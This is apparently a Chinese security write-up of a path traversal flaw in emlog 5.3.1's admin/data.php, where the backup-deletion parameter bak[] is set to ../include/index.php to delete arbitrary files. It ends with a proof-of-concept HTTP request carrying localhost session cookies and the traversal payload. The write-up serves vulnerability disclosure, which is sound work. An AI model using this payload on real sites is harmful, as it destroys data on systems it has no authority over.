0x01 前言

emlog是 "Every Memory Log" 的简称，意即：点滴记忆。

它是一款基于PHP语言和MySQL数据库的开源、免费、功能强大的个人或多人联合撰写的博客系统。基于PHP和MySQL的功能强大的博客及CMS建站系统。

0x02漏洞分析

代码问题 - admin/data.php

复现过程

环境：emlog 5.3.1

登录管理并查看/admin/data.php?action=dell_all_bak

利用burpsuite截获'删除'数据包

在include文件夹下创建index.php

在bak[]后面写上../include/index.php

返回302，代表成功。

include文件夹index.php文件已成功删除

0x03 POC

Host: 127.0.0.1

Content-Length: 28

Cache-Control: max-age=0

Origin: http://127.0.0.1

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3

Referer: http://127.0.0.1/admin/data.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: page_iframe_url=http://127.0.0.1/metinfo/index.php?lang=cn&pageset=1; pgv_pvi=3037471744; PHPSESSID=u91v66ktst9vrva3ueb6333kt2; EM_AUTHCOOKIE_WtaQDRqaTBRof8EENT0LY3HNhJzryEPL=admin%7C%7Ce4739a735508976ba1d54ac95a78be3b; EM_TOKENCOOKIE_55cd567609038eefc9aaa8c1c0e141e1=d0025af7e912a4cc8b114e2f6cda6597

Connection: close

bak%5B%5D=../include/index.php